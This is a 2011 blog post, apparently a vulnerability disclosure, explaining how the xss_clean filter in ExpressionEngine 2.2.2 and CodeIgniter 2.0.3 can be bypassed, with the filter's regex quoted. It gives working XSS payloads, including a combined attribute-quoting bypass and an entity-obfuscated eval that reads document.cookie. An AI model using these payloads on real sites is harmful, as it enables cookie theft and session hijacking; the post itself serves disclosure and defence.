Sunday, November 27, 2011

EllisLab xss_clean Filter Bypass - ExpressionEngine and CodeIgniter



EllisLab ExpressionEngine 2.2.2 (http://expressionengine.com) and CodeIgniter 2.0.3 (http://codeigniter.com) were recently found vulnerable to XSS attacks (MVSA_11_013). Due to design&implementation flaws affecting CI_Security class, the built-in XSS protection provided by xss_clean filter can be easily bypassed as detailed below.


Successful bypass of xss_clean filter was shown on a custom PHP application built using CodeIgniter PHP framework version 2.0.3. No user input validation rules were implemented/enabled, and global_xss_filtering was set to TRUE.

Test environment: Apache HTTP Server 2.2.16, PHP 5.3.3, MySql 5.1.49


1. _remove_evil_attributes function flaws

As implemented for ExpressionEngine 2.2.2 and CodeIgniter 2.0.3, _remove_evil_attributes function of CI_Security class allows detection and removal of 'evil' on* event attributes (e.g. onmouseover, onfocus, etc) from any HTML tag submitted as a parameter of GET or POST requests. In most of the cases, this works fine - except when it doesn't, as detailed below

1.1 on* event attributes submitted outside an HTML tag are not filtered out


1.2 on* event attributes submitted as part of an HTML tag are removed


XSS payload: <a href=”#” onclick=”alert(1)”>

xss_clean filtered output: <a href=”#”>


Thus, the 'evil' on* event attribute is removed from the HTML tag containing it. However, the character preceding the on* event attribute is also removed, which leads to crafting the following payload:


XSS payload: <a href=”#”onclick=”alert(1)”>

xss_clean filtered output: <a href=”#>


When there is no space between the value of a previous attribute (enclosed by double_quotes) and the injected on*event attribute, the double quotes closing the value of preceding
attribute (
href in our example) is removed together with the 'evil' on* attribute.


2.
xss_clean function flaw

2.1 unsafe usage of HTML entities

xss_clean function includes functionality to replace any detected ( and ) characters with the corresponding HTML entities, as shown below:


-- code from
xss_clean function EE 2.2.2 / CI 2.0.3 - start --
/*
* Sanitize naughty scripting elements
*
* Similar to above, only instead of looking for
* tags it looks for
PHP and JavaScript commands
* that are disallowed. Rather than removing the
* code, it simply converts the parenthesis to entities
* rendering the code
un-executable.
*
* For example:
eval('some code')
* Becomes:
eval('some code')
*/
$
str = preg_replace('#(alert|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si', "\\1\\2(\\3)", $str);

-- code from
xss_clean function EE 2.2.2 / CI 2.0.3 - end --


This works fine when the code to be sanitised (e.g. alert(), event(), etc) is not located as part of any attribute (including on* event attributes) of the HTML tag (e.g.
<script> alert&#40;0&#41; </script>).

When the code to be sanitised is part of an attribute of an HTML tag (e.g.
<;img onmouseover="alert&#40;111&#41;">), the CI_Security code above does little (if anything) to protect against XSS attacks.


Putting it all together

When we combine the flaws detailed in sections 1 and 2, we can successfully bypass XSS filtering provided by xss_clean function, as shown below.


XSS payload:
<a href="#"onclick="alert(1)">" onclick="alert(2)">aa</a>

xss_clean 'filtered' output:
<a href="#>" onclick="alert&#40;2&#41;">aa</a>

Exploitation of the above flaws also allowed bypassing additional XSS prevention rules provided by xss_clean filter, including the usage of document.cookie as part of injected XSS payloads:


...
onmouseover="var a=eval&#x28'do'+'cument'+'.'+'coo'+'kie'&#x29;;alert&#x28;a&#x29;"

Additionally, exploitation of the flaws identified in xss_clean filter allowed compromising the provided CSRF protection as well.

Based on the feedback I received from
EllisLab on this matters, improved xss_clean filtering is provided in the latest versions of ExpressionEngine and CodeIgniter products.